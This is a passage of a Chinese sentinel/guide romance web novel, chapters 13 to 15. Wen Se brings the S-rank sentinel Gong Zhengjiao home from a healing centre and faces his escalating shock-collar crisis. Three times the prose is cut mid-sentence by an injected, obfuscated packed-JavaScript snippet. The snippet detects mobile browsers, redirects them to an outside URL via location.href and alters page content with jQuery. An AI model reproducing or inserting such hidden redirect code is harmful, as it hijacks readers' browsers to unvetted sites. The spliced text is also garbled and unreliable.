原来是保洁员,怪不得能“入室盗窃”。 闻璱操控面板,重新将可视玻璃调整为单向模式。 还是一片漆黑,什么也看不到。 大概也只有在这样的环境下,哨兵才能渐渐消化积攒过多的信息量,逐渐获得平静吧。 ……虽然闻璱不是这么认为的。 从疗愈中心出来重返地面时,已经是凌晨两点。 等到闻璱又是换乘夜班公交,又是蹬共享单车回到宿舍时,天都蒙蒙亮了。 他拖着有些疲惫的身体回到家重新洗了个澡,然后倒进被窝,几乎在眼皮合上的瞬间,就陷入昏厥般的睡眠。 一觉睡到了下午三点,闻璱都不舍得从被窝里爬出来。 久违的偷懒时间,他打着哈欠回复了小号上剩余的客户消息,却发现冒出来一条新的好友申请。 来自一个默认头像、没有介绍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418161|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账号,ID是:BBB大猫。 验证信息:牙疼,求拔。 闻璱:…… 他有种很不妙但又很莫名其妙的猜想。 他通过申请,然后立刻发送了一句:【你怎么这么快就出来了?】 BBB大猫:【还没出来呢。】 果然。 闻璱:【弓铮皎。】 BBB大猫:【?】 BBB大猫:【好吧,瞒不过你。】 都起名叫BBB大猫了……闻璱不知道他又在掩耳盗铃些什么。 但闻璱还是很好奇:【在小黑屋还能用终端?】 BBB大猫:【没规定说不让。】 这话倒也没错,疗愈中心并没有明文规定,不能在小黑屋里做什么事。 毕竟进小黑屋的哨兵无不是已经失控,连一丝微光、一点微动都无法承受,几乎完全不受理智操控,就算规定了,也没有任何意义。 不过,如果弓铮皎恢复得这么快,神智如此清晰,眼睛和脑子也能接受刷终端的话…… 闻璱:【那你为什么还不出来?】 BBB大猫:【没人接我。】 闻璱一怔,他记得他走的时候,张律师还呆在白塔,似乎是会在弓铮皎出来之前一直等在那里。 但他暂时还没有决定,见过张律师这件事是不是该现在就告诉弓铮皎。 闻璱:【应该通知你家人了吧,难道没人去接你吗?】 BBB大猫:【没有。】 BBB大猫:【没有人爱我。】 闻璱:【?】 怎么去了趟小黑屋,突然变了个人一样? 闻璱以前只听哨兵客户抱怨过,在疗愈中心被攻击型向导用精神力抽得满地乱爬,以至于醒来之后看到医院护士的白大褂,忍不住流下热泪——因为疗愈中心的向导一般穿一身黑衣。 而闻璱也曾在疗愈中心短暂实习过,了解应对失控哨兵的流程。 通常在把哨兵关入小黑屋后,第一件事就是由多个向导进行压制,专攻方向是攻击、催眠、治愈的向导都有,但分配到的哪一类向导更多,纯看运气。 失控哨兵要么是被攻击型向导揍晕、要么是被催眠昏睡、要么是被治愈着发狂到筋疲力尽之后昏迷。 在那之后,哨兵会被放置在小黑屋这个低信息量的环境中,慢慢自我修复和代谢。 与其说是治疗,倒不如说是让哨兵发泄,直到自己康复。 哨兵是否能够离开小黑屋、什么时候离开,也并不取决于哨兵自己,而是疗愈中心的综合评估。 离开之后,也会有短则半月,长则半年的窗口期,期间哨兵不被允许召唤出精神体。 不过,绝大多数哨兵意识清醒,也就是理智回笼时,都已经不在小黑屋中。 毕竟脑电图也是疗愈中心评估哨兵状态的重要指标,而小黑屋并不是一个真正舒适的环境。 也是因此,弓铮皎这种清醒地呆在小黑屋里刷终端的情况,闻璱简直闻所未闻。 BBB大猫一直显示“正在输入中”,但很久没有新的消息发过来。 等待回复时,闻璱翻了个身,动作之间手链滑动,蓝紫色的宝石滚入视野中。 他想了想,坐起身发去一句:【你想要有人去接你吗?】 BBB大猫秒回:【想。】 【那就告诉我。】 BBB大猫:【我希望你能来接我。】 BBB大猫:【我希望闻璱来接我。】 13. 第 13 章 再次进入疗愈中心时,张律师果然还没走。 但他似乎猜到闻璱是来做什么的,冲闻璱点了点头:“那边已经打点过,直接办手续就行。安全起见,我就不露面了。” 然后把弓铮皎的终端交给闻璱。 闻璱知道他是怕两人之间露出什么端倪,被弓铮皎察觉到。 果然,给弓铮皎申请居家观察的程序一路绿灯,平时往往需要好几个小时的流程,今天半小时不到就完成了。 按照规定,闻璱跟随着负责弓铮皎的一位职工向导,一起去小黑屋接弓铮皎出来。 恰巧这位职工向导也是闻璱的熟人。 “我说呢,连我们疗愈中心的都嫌庙小的闻大菩萨,原来是傍上了这一位。”临到门口,职工向导冷笑一声,“只不过,他怎么还发帖挂你呢?好像也没有多在意你啊。” 闻璱瞥了他一眼,淡淡道:“是啊,我就这样,慈悲为怀。” “真好意思给自己贴金——你这是下贱!” “好的,那我下贱。”闻璱从善如流。 “闻璱!”职工向导气得直接扑上来要扒闻璱的口罩,“你说什么?!你敢不敢再说一遍!” “这不是你自己说的吗?”闻璱微笑任他动作,“柳部长。” 这位向导并不是普通的职工,而是疗愈中心的负责人之一,姓柳。他是罕见的S级向导,专攻催眠方向,也算得上是学术界和行业内举足轻重的人物。 弓铮皎这种级别的哨兵失控,大概确实需要柳部长亲自出手才能压制得住。 柳部长气得眼睛和脸都要滴血,怒气冲冲地进行例行记录。 临到开门之前,他语气冰冷:“真是不长教训,还敢往麻烦事里掺和,你以为这次还有人保你吗?” 闻璱不想和柳部长争论这些无意义的话,于是敷衍地冲他“嗯”了一声。 谈话间,一道身影便从漆黑里走出来。 是弓铮皎。 他穿着白色的病号服,脖子上戴着电击环,没有什么肉眼可见的伤痕,但看起来难免有些萎靡。 不过,一见到闻璱,他蓝紫色的眼睛倏然亮起,仿佛灯泡被按下开关。 昏暗的光线下,幽幽的眼瞳光映照着白金色的发丝,整张俊俏的脸顿时明亮起来,再不见一丝憔悴。 柳部长哼了一声,放在口袋中的手悄无声息地扣动装置。 电击环的指示灯闪过一瞬蓝色,接着,那两盏蓝紫色的小灯也熄灭下来。 从小黑屋出来之后,哨兵的感官往往都会被强行压制在较低水平,在主观意念下才能调用某种感官。 刚才,弓铮皎就调用了视觉,但立刻被柳部长用总控开关,拨动了电击环内置的向导素针,强行抑制住了视觉反应。 闻璱记得弓铮皎说过,自己不喜欢这种感觉。 但是,弓铮皎看起来若无其事,只是面无表情地冲柳部长点了点头,就静默无声地走到了闻璱身后。 柳部长看不惯这画面,阴阳怪气道:“闻璱,别怪我没提醒你,以后又被人用完就扔了,可不要来找我!” 闻璱“嗯嗯啊啊”地点头应了,转头看向弓铮皎:“你的衣服呢?” “不知道,可能脏了,找不到了。”弓铮皎一连回了好几个不同的答复。 说话之间,闻璱发现他咬字仍然有些口齿不清,看来他舌头下面那个微型酸弹并没有卸除。 ……明明都已经戴上电击环了。 但毕竟还在疗愈中心,柳部长这个闲人还看着,闻璱没有多问,带着弓铮皎就这样离开了。 张律师果然也没有再出现。 鉴于弓铮皎戴着电击环、穿着病号服,简直是把“失控哨兵”几个字写在脑门上,闻璱便拿出终端,打算叫一辆网约车来。 填目的地的时候,他才想起来弓铮皎那栋楼被封了。 而他忘了张律师确认,有没有把那栋楼安排解封。 闻璱把弓铮皎的终端递给弓铮皎,本意是想让弓铮皎自己约车,自己安排目的地,或是自己打电话问张律师也好。 结果弓铮皎拿着终端,很安静地看着闻璱,仿佛自己只是一个懂事的置物架。 闻璱只能问:“你家被封了。现在我们去哪?” 他心想,希冕创辉的大少爷,总不能只有一栋楼的不动产吧? 没想到弓铮皎说:“我不知道。” “那你给家里人打电话问一问?” 弓铮皎茫然道:“家里人是谁?” 闻璱:“……” 他一字一顿地问:“你知道自己是谁吗?” “BBB大猫。”弓铮皎说。 好了,完蛋了,孩子傻了。 闻璱又问了几个常识性的问题,才勉强松下一口气。 他发现弓铮皎与其说是失智,倒不如说是放弃思考。 大概也只有这样,才可能这么快就顺利通过疗愈中心的测试。 闻璱猜测,这可能是某种短期后遗症。 在被向导压制之后,精神图景原本就接近荒芜,但由于S级哨兵的体质太好,代谢和恢复的速度过快,导致弓铮皎提前醒来。 然后在茫然中被放置在完全无光、无声的小黑屋里,不知道过去了多久。 期间,弓铮皎唯一能做的事,就是用不知怎样私藏着的另一个终端,给闻璱发了几条消息。 如果说这导致弓铮皎的大脑陷入一种处理信息困难的“低能”模式,倒也合理。 合理吗?闻璱也只能这样推测。 既然如此,想让弓铮皎自己打电话联络家人,大概也不太现实。 叹了口气,闻璱认命地把目的地设置成宿舍。 他没去弓铮皎的家,现在弓铮皎要先来他的宿舍了,真是兜兜转转赔了夫人又折兵。 结果,好不容易等接受特种人的网约车来了,弓铮皎却站在原地,怎么说都不肯上车。 “我想坐地铁。”弓铮皎说。 “少爷,你知不知道地铁有多吵?”闻璱微笑,“就算你现在是感官被抑制的状态,也绝对承受不了。我敢说,还没走进地铁站,你就会成为一只小聋猫。” 弓铮皎眨了眨眼睛,突然微微抿嘴,喉咙滚动,发出一种很微妙的声音。 闻璱很难形容,绞尽脑汁才能搜罗出一个勉强可以的说法——像儿童玩具套组里卡通电话该有的那种,很甜美的忙音“嘟——”。 闻璱:“……?” 弓铮皎无辜道:“龙猫叫。” 闻璱:“……” “那是豚鼠……不,算了。”闻璱放弃讲道理,无奈地把网约车送走。 坐地铁就坐地铁吧……闻璱总有办法的。 但为了防止弓铮皎戴着电击环进入公共场所引起恐慌,闻璱脱下外套递给弓铮皎。 幸好出门时闻璱随手一抽,就拿了一件领子可以立起来的风衣。 也幸好他们身形相仿,闻璱还稍高半寸,这件衣服穿在弓铮皎的身上倒也很合适,就是专门把领子立起来显得死装。 然后,闻璱带着弓铮皎,乘上了弓铮皎“梦寐以求”的地铁。 值得庆幸,今天是工作日,而且上下班高峰期还没到,地铁里算不上很拥挤,两个人很轻易地就找到了空位坐下。 弓铮皎就像乡下人第一次进城,新奇地四处打量,连显示屏上的无聊广告都看得入神。 而真正的乡下人闻璱微微靠在挡板上,闭目养神。 过了一会,闻璱突然想起来还可以拜托权冽去工作室那边散个步,顺便帮自己看一眼楼解封了没有。 就像权冽不爱凑热闹一样,闻璱以前也从不麻烦别人。 收到消息的权冽果然震惊地回了一个:【?!】 闻璱:【顺路?】 其实大概率不太顺路,闻璱知道,权冽也知道。 但权冽还是在十分钟内就返回了一张照片,照片里黄色的警戒线糊得像流星。 附言:【没有解封。】 闻璱只得认命。 他告诉弓铮皎下车那一站的名字,叮嘱到了喊自己。 然后,就靠在挡板上闭目养神。 弓铮皎果然时刻警惕,广播一响起,就用膝盖轻轻碰了碰闻璱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418162|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的膝盖。 闻璱睁开双眼,有些疲倦地起身:“走吧。” “坐地铁这么累吗?”弓铮皎问。 挤地铁确实很累,坐地铁就还好,闻璱之所以一副被吸干了精气的样子,是因为其他事。 但这很难跟低能模式的弓铮皎解释清楚,闻璱没有回答,命令道:“下车。” 弓铮皎很听话,立刻跟着他下车、出站,再也没有一句废话。 才出地铁站,弓铮皎的视线又钻进了街边的一家连锁水果店里。 “我想吃荔枝。” 最近不算荔枝上市的时节,闻璱也没看到店门口摆着荔枝。 但这也不过两步路的距离,闻璱还不至于累得走不动。他带着弓铮皎进来店里才发现,店里还真有几盒精装荔枝。 店员得意地介绍起来,说是从南方空运过来的新品种,快递才刚到,都没来得及摆出来,可叫他们捡到漏了。 闻璱瞥了一眼价标,品质一般,但价格和包装成正比。 弓铮皎就在旁边眼巴巴地看着,虽然不算是主观意愿上的耍赖……但对闻璱来说也差不多。 叹了口气,闻璱还是说:“想买就买吧。” 弓铮皎也不多拿,善解人意地拿起手边最近的一盒:“足够了。” . 闻璱的宿舍在八楼,没有电梯。 放在平时,对于体能评定等级为A的闻璱来说,上下八楼连热身都算不上。 但对于现在的闻璱来说,此行简直比蜀道还难。 弓铮皎见他爬两阶就要停下来喘两口气的虚样,突然说:“原来闻璱每天都这么辛苦。” 闻璱轻轻挥了挥手,想让他麻利点自己上楼,别在这开嘲讽。 却被弓铮皎轻轻握住了那只手。 闻璱一愣。 这是第一次,他们真正意义上的肢体接触。 肌肤与肌肤相贴的那种。 顾及到等级越高的哨兵往往感官越敏锐,闻璱一直很注意和哨兵相处时的尺度。 安抚时戴手套,也是考虑到这个因素。 有些哨兵或许不介意闻璱的向导素,但有些哨兵未必喜欢身上沾染非亲密关系的向导素。 对于弓铮皎,闻璱更是谨慎了很多倍。 即便一直以来,弓铮皎都表现得对他的向导素无比渴求。 但是向导素归向导素,和真正的接触还是不一样的。 直到这一刻,弓铮皎握着他的手,力度温柔地拉了一把,把闻璱带上了最后一节台阶。 弓铮皎才松开手。 到宿舍之后,闻璱才终于松了半口气。 这里毕竟是特种人宿舍,墙板厚、隔音好,也装有基础的白噪音设施,虽然效果就像浴室里的通风系统一样,只能说是聊胜于无。 闻璱让弓铮皎洗手之后自己乖乖到桌边坐下,自己钻进洗手间洗了把脸。 狭窄的单人宿舍,洗手间的干区几乎无法同时容纳两个人,除非闻璱洗脸的时候,让弓铮皎坐在马桶盖上旁观。 凉水扑灭了闻璱脑袋里像烟雾一样昏沉的疲倦感,抬起头时,闻璱看着镜子里的自己,总觉得好像少了什么。 他突然想起——他忘了叮嘱弓铮皎不许坐他的床! 闻璱有些轻微的洁癖和强迫症,其中就包括外人和外面的衣服都不能碰到自己的床。 如果弓铮皎敢穿着挤地铁的衣服坐他的床,甚至只是轻微地擦过,都会平添一份巨大的工作量。 因为闻璱会立刻更换整套床单被褥,并立刻清洗原有的那一套。 闻璱连忙推开门,就要对弓铮皎补充说明这道“天条”。 再一次,清爽的风拂过闻璱脸颊,卷走了发梢不慎沾上的水珠。 窗户大敞着,弓铮皎蹲在窄窄的窗外沿上,怀里抱着一只羽毛漆黑的红喙天鹅。 在夕阳下,他和天鹅仿佛都被染上一层滚烫的金边。 天鹅优雅而温和地把修长地脖颈弯成S形,让弓铮皎把一串闪烁的光放在它头顶。 这顶“冠冕”的主石,是一颗晚霞般的蓝紫色宝石。 14. 第 14 章 闻璱一时怔住。 一方面是惊讶,一方面也多少有点担心低能模式的弓铮皎掉下去。 这里可是八楼,窗沿只有十厘米宽,弓铮皎蹲在那里时,真的像猫科动物一样,只能踮着脚后跟,用前脚掌支撑。 他看着眼前的绝景,尽可能轻声问:“……你是怎么做到的?” 弓铮皎回头看了闻璱一眼,不知道该怎么回答。 幸好,闻璱也并没有指望现在的弓铮皎能给出什么可靠的说法。 他小心翼翼地上前,步伐中有无法掩饰的急切。 还没到近前,天鹅小黑就冲闻璱叫了一声。 特种人不会不明白自己精神体想要表达的意思,因为那原本也是特种人精神世界的一种投射。 闻璱明白,小黑在向自己诉说想念。 他伸出手去,想要抱住小黑,却被小黑灵巧地躲开。 它轻轻曲颈搭在弓铮皎手上蹭了蹭,然后消失在空气中,只在弓铮皎掌心留下那条手链。 它似乎真的很喜欢那条手链,或者说,是喜欢手链上那颗宝石。 等等……闻璱定睛一看,才发现宝石的的大小有些过分惹眼。 这不是那颗能够储存弓铮皎精神力的宝石,也不是被弓铮皎评价为“成色更好”的第二颗宝石,而是闻璱还没见过的第三颗宝石,硕大如鸽子蛋,颜色深邃得几乎像是刚从弓铮皎眼眶里抠出来。 弓铮皎灵巧地跳回屋里。 闻璱看得胆战心惊,因为他突然发现,张律师交给他的那份合同还大喇喇地放在桌面上,就在刚才,险些擦过弓铮皎的鞋底。 幸好有一张空白的封皮,以弓铮皎现在的状态,应该也不会翻开看。 无论要不要把这件事瞒着弓铮皎,至少现在并不是坦白的好时机。 闻璱上前几步,作出要替弓铮皎拍拍衣领的样子,一只手背在身后,不动声色地把合同塞进角落。 不幸的是,那只完成了瞒天过海的手,在收回的过程中,惨遭弓铮皎当场捕获。 他擒着闻璱的手腕,并没有非常用力——如果真的用力,可以轻松捏断闻璱的小臂骨。 奈何闻璱罕见地有几分心虚。 闻璱恶人先告状:“你什么时候偷了我的手链?” 其实他大概能猜到,应该是爬楼梯那时,弓铮皎拉了一把他的手,趁机摘走了手链。 还趁他洗脸的功夫,又偷偷换了一颗新的宝石。 闻璱其实并不生气,只是不太理解弓铮皎为什么要这么做。 弓铮皎很诚实地说:“这颗不好看。” 又是因为美观。 但闻璱没再反驳,因为小黑看起来似乎更喜欢这颗宝石。 他顺着弓铮皎的动作抬起手:“现在可以还给我了吗。” 弓铮皎轻轻地“嗯”了一声。 于是,弓铮皎仔细地把“新”手链在闻璱手腕上扣好。 果然,这样一通打马虎眼,弓铮皎立刻忘了刚才闻璱偷偷摸摸的小动作,乖巧地坐回椅子上,等待闻璱的下一步指示。 闻璱翻箱倒柜找出来几件还没拆封的作训服递给弓铮皎,让弓铮皎换上。 但弓铮皎看起来有些不太情愿。 “没有味道。”弓铮皎说着,摸了摸身上的风衣,“我更喜欢这一件。” 天地良心,如果他对着被地铁熏陶过的风衣一阵猛吸,闻璱会立刻把他的脸按进洗衣机里滚两圈。 闻璱说:“别装。” 他知道弓铮皎现在状态相对稳定,高浓度的向导素并不是必需品。 弓铮皎之所以会这样,大概只是习惯了这种感觉。 因为坐地铁回来的全程,弓铮皎披着闻璱的风衣,闻璱的向导素几乎包裹住他整个人。 闻璱的精神力就这样藏在向导素里,隐隐形成了一道屏障,阻隔地铁上嘈杂的声音和气味。 如果不这样,弓铮皎恐怕还没等到地铁来,就会被噪音、气味惹得发疯发狂发癫,然后被电击环电得脖子焦香。 但这样高强度且高精度地动用精神力,还要避免向导素阈值过高,触发电击环报警,闻璱也很疲惫。 他并不打算继续惯着弓铮皎,于是微笑着说:“这里是我家,我说了算。” 弓铮皎立刻顺从了,乖乖地拿着新的衣服走进洗手间。 闻璱顺口叮嘱他:“换下来的衣服丢到门口的旧衣篓,一会拿去洗衣房。” 弓铮皎也依言照做。 出来的时候,闻璱已经换了一身衣服,正在往地上铺席子。 一旁床上放着另一套被褥,看来是打算让弓铮皎今晚打地铺。 见他出来,闻璱头也不抬,淡淡道:“先说好,就今天晚上,明天你要是还这样……我就把你送到流浪猫基地去。” 弓铮皎在席子前蹲下,突然说:“不用被子。” 闻璱知道以弓铮皎的体质不会着凉,但也觉得没必要只是因为“不会着凉”,就真的把弓铮皎晾在硬邦邦的地上。 他直接无视弓铮皎的提议,让弓铮皎把被褥拿下来自己铺好。 弓铮皎也乖乖地做了,虽然看得出来不常做家务,铺个地铺都搞得乱七八糟。 闻璱不在乎,又不是让自己睡的。 十几平的宿舍还强行塞进去一个干湿分离的洗手间,本来就狭窄得不像话,更别说另一套被褥铺在床边的地上,让闻璱的床直接成了一个无法通行的孤岛。 幸好闻璱也没有别的安排。 他精神疲惫,急需睡觉休息,转头就钻进自己的被窝。 “让我先休息会,别打扰我。” 弓铮皎张了张嘴,又闭上了。 他看着床上背对着自己的那团隆起,莫名觉得好像……好像一个雪白的、还没刷油进烤箱的可颂。 让他口舌生津……可见他着实饿得不清。 但是,或许是对于现在的弓铮皎来说,连“饥饿”都是一个很难处理的难题。 他什么也没说,默默地躺进地上那个简陋的被窝里,两只手交叠着放在肚子上轻轻按压,抑制住了原本可能会饿得怪叫的胃。 明明荔枝就放在桌子上,他却丝毫没有吃独食的意思。 幸好闻璱也没吃饭,不过一个多小时,就同样被饥饿感从睡梦中唤醒。 他精神头明显好了些,理智尚未彻底回笼,正想给自己倒杯水喝,脚踩在柔软的被褥上,动作才悬崖勒马地僵住。 屋里没开灯,一片漆黑,以至于闻璱忘了地上还躺着个人。 好险闻璱还没站起来,否则真有可能一脚踩上弓铮皎的肋骨。 弓铮皎侧过脸,一双眼睛又亮了起来。 昏暗的房间里,陡然亮起两颗蓝紫色的小彩灯,闻璱提醒他:“我要开灯了。” 在调用视觉的情况下,一盏台灯都能对哨兵起到脸接A1高闪的杀伤力,闻璱可不想让他因此英年早盲。 “啪”地一声,微冷的光照亮了整间宿舍。 和弓铮皎对视的瞬间,闻璱一怔,竟然觉得有种又陌生又熟悉的感觉。 顿了片刻,闻璱问他:“终于醒了?” 弓铮皎麻利地坐起身,给闻璱让出一条可供通行的路,嘴上答道:“给你添麻烦了。” 看来他已经恢复了正常。 和理智一同回笼的,也有对肢体接触的隐隐抗拒。 “没关系。”闻璱说着,沿着床边走到桌前,给自己倒了一杯水。 喝了两口润润嗓子,闻璱继续说:“你恢复了就好,用不用跟家人联络一下?也不知道你家解封了没有……” 后半句“你还有别的去处吗”还没来得及说出口,就被弓铮皎打断了。 “已经解封了。”弓铮皎道,“刚才也联络过了。造成这些麻烦,我会赔你钱。” 闻璱点点头,顺着他说:“那你现在回去?” 这理所当然,从舒适角度来讲,闻璱的宿舍和弓铮皎家本来就毫无可比性——虽然闻璱其实从来没有去过弓铮皎家。 “……嗯,我这就回。” 弓铮皎说着,已经勤快地开始收拾自己睡过的地铺。 但闻璱靠在桌边喝水,踩在被褥上的脚丝毫没有让开的意思。 他推开窗户,偏头望向窗外,似乎是回避,又似乎只是没注意到,让弓铮皎试探的眼神成了独角戏。 纠结了几秒钟,弓铮皎起身进了洗手间,关门时很轻,几乎没发出声音。 闻璱挑了挑眉毛,没想到他放弃得这么果断。 但他的眉毛还没降下来,就突然意识到,不对。 因为洗手间的通风那么差,宿舍房间又这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418163|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,一旦开启换气,整间屋子都会嗡嗡响。 弓铮皎总不可能不开换气——就算弓铮皎邋遢,闻璱也不能接受有人这样使用自己的厕所。 顿时,什么尊重隐私、尊重一个人最脆弱的时候这些事情,闻璱都顾不上了。 他连忙敲了敲门,手上稍微用了点力,没想到门不仅没锁,甚至没扣上,就这样被推开。 好消息是,并没有看到不该看到的下半身。 坏消息是,看到了也不太该看到的上半身。 没想到弓铮皎长了一张水灵灵的脸,肌肉倒是很不错,完全符合S级哨兵的刻板印象。 弓铮皎猛地转过身,把身上脱了一半的衣服又拉回去。 回过头时,尴尬的绯色已从他脸上蔓延到脖颈。 “抱歉。”闻璱的目光落在他手上,“不过,这是什么意思?” 弓铮皎手上拿着刚才从脏衣篓里翻出来的病号服,看样子正打算换。 他有些不自在地回答道:“不好意思,我把衣服换回去。” 有强迫症的闻璱不会这样对待自己,更不理解嗅觉更敏锐的弓铮皎大少爷,为什么会突然变得如此“勤俭持家”。 闻璱自认为,自己好像也没有抠门到,连一身从公会领的作训服也舍不得给的地步。 而且,就凭刚才弓铮皎那心虚、尴尬、甚至被抓包般的脸红,闻璱就觉得,这绝不是弓铮皎乐于自我折磨。 他眯了眯眼睛,突然冒出来一个很小人之心度君子之腹,又格外适配弓铮皎一贯作风的猜测。 闻璱双臂环胸,好整以暇地靠在洗手间门口,挡住了弓铮皎唯一的逃跑路线。 “不是吧,前首席。”他缓缓说,“就因为被套在我的风衣里面,连这身病号服也要带走……你为什么不直接问问我,能不能把风衣送给你呢?” 逼仄的小洗手间里,弓铮皎低着头不敢看闻璱。 他觉得空气变得潮湿,甚至是每一次闻璱说话时,嘴唇开合,吐出的气息,都让整个空间的温度上升。 这让弓铮皎汗毛起立,鼻腔发痒,呼吸困难——甚至心律不齐,像是严重的过敏反应。 闻璱打量着他,也隐隐察觉到,弓铮皎身上,或是心里,有什么不对劲的地方。 既然弓铮皎对这些偷摸行为感到羞耻,甚至被抓包时敏感得过分,又为什么还要一再继续做出这些行径? 一般情况下,闻璱会认为这是一种小众的变态性癖,或许弓铮皎正是从这种羞耻中得到隐秘的快感。 如果不是下午,他真的见过弓铮皎坦然索取的模样。 所以,不是性癖,而是弓铮皎确实有难言之隐。 弓铮皎想要隐瞒的事情,会和他那莫名其妙大爆发的救风尘之心,还有希冕创辉的结婚提议有关吗? 闻璱不知道。 但他知道,如果他真的揭开这个秘密,恐怕以后都难以脱身。 但是…… 从不知何时开始,闻璱已经开始思考该如何周旋其中,而不是遵循一贯明哲保身的原则,置身事外。 或许,是在每一次望进那双宛如溺水之人渴望浮木的眼中时,多少触动了他的心。 以至于他想要伸出手,把对方从漩涡中拔上来。 因为闻璱也在自己的漩涡中。 如果这也是布置陷阱必要的演技——那算弓铮皎厉害,也算他倒霉,认栽。 于是,闻璱真的缓缓伸出手,虚隔着半寸距离,立在弓铮皎胸前。 很近,但没有碰到。 “呼吸。”闻璱声音轻轻。 弓铮皎偏过脸,仍然不见任何胸腔起伏,静得像一具尸体。 以他的体质,别说是才屏息几分钟而已,闭气半小时都不会对他造成任何器质性损伤。 这完全是他的条件反射,或许出于心理上的某种障碍。 “你不是想要那件风衣吗?”闻璱诱惑他,“如果你听话,我会给你更好的奖励。” 弓铮皎顿时轻微地抿了抿下唇。 见他稍有意动,闻璱立刻趁热打铁,余光瞥到桌上那盒未动的荔枝,便问:“想吃荔枝吗?想吃的话,我剥给你吃。” 话音落下,胸膛贴上了闻璱掌心。 “乖猫猫。” 下个瞬间,闻璱就被按在墙板上。 15. 第 15 章 弓铮皎克制着力道,为了防止这一下直接把闻璱的脑袋砸个粉碎,他还体贴地把一只手垫在闻璱脑后,隔着一条毛巾。 而另一只手则虚悬在闻璱脖子前,手指颤抖着,不知道该不该掐下去。 大概是怕一时冲动,如果真的握上去,稍有不慎,就能直接捏断那截白皙而优美的颈项。 闻璱后颈垫着一只手,不得不微微抬起下巴,垂眸看着弓铮皎。 长而微翘的银白睫毛,只有在这样俯视的角度下,才不会遮住那双桃色眼眸。 “滋啦”的电流声不时响起,弓铮皎颈间一阵电光爆闪,隐隐甚至传来一丝焦味。 一道橘红色指示灯频繁闪烁,这代表着电击环触发了一级惩戒。 电击强度是根据白塔现有的极限数据制定,通常一级惩戒就足够让A级以上的哨兵在五秒内失去战斗力;满级是三级,足以电晕一头壮年大象。 但是,看弓铮皎面对一级惩戒的模样,虽然不至于说是云淡风轻,但显然也绝对不算强弩之末。 这说明弓铮皎的体能至少超过了白塔已有的数据,并且,他还将这件事隐藏得很好。 即便现阶段他被电击环抑制着,释放不出阿咬,只靠体能,弓铮皎也能轻松把这间宿舍拆个粉碎。 闻璱微一挑眉,眼中露出一丝讶然。 死死盯着闻璱的那双蓝紫色眼眸,当然没有错过闻璱的情绪。 “你看到了,如果我真的发狂,电击环根本拦不住我。”弓铮皎声音沙哑,“所以,你别再玩弄我了……” 橘红色指示灯亮起第二道。 “玩弄……”闻璱忍不住唇角弯弯,“请问我做了什么,让弓大少爷把持不住?” 话虽如此,他其实心知肚明,因为这原本就是他想看到的。 闻璱的目光落在弓铮皎几乎抽搐的手,就知道面对二级惩戒,弓铮皎抵挡电流的难度又翻了几倍。 这份痛苦是弓铮皎自找的。 因为他本可以从一而终,直白地说出自己的欲望和顾虑,而不是像现在这样,开了个声势浩大的头,却又临时反悔,想要草草了结。 不论是因为小黑、因为精神力,还是因为其他的什么,闻璱确实产生了探究的兴趣。 只可惜,闻璱并不喜欢被人牵着鼻子走,主动权只能掌握在他的手里。 闻璱自认没有感化全世界的善心和耐心,也不会逞强应承下自己能力范围的事。 偏偏在弓铮皎心里,闻璱大概就是一个兼具这两点的无知无畏者。 所以他不知道,在第一次向刃齿虎阿咬伸出手那时起,闻璱就一直在为赢下这场“硬仗”而做准备。 弓铮皎咬牙切齿:“我不是那些可以被随便感化的哨兵,我……” “我也从来不是通过感化谁,来安抚哨兵的。”闻璱微微笑了,“弓铮皎,这是你对我最大的误会。” 他缓缓抬起手,慢得生怕弓铮皎注意不到。 就算同为S级体能,向导和哨兵也使用的是两套标准,更不用说闻璱只是A级,而弓铮皎很大概率是论外的S+,或者S++,甚至S+++。 具体有多少个+,也不好说。 所以,闻璱的动作慢条斯理,甚至堪称明目张胆。 他把手指最终搭在电击环的绝缘开关上,轻声说:“我要关闭它了,再不关闭,一会白塔的人就该来了。” 二级惩戒就会进入白塔的重点监控;如果升到三级,且持续时长超过一分钟,白塔就会立刻出警。 闻璱当然不想处理白塔这个大麻烦。 而电击环只有两种关闭方法,一个是在检测到佩戴者失去意识之后自动关闭;另一个就是在按住开关的情况下,拨动内置麻醉针装置手动关闭——后者也几乎意味着,哨兵已经被控制住。 但闻璱这样,反而让弓铮皎更加崩溃。 因为他心知肚明,电击环内置的麻醉剂量,根本控制不住现在几近失控的自己。 “你疯了?”弓铮皎的眼中冒出血丝,显得几近疯狂,“我会杀了你,我真的会杀了你的……你最好立刻离开这里!” “为什么是我离开?这里可是我的宿舍。”闻璱轻巧地说,“要走,也该是你走,不是吗?。” 在第三道指示灯亮起来之前,闻璱用向导素拨动了那根针。 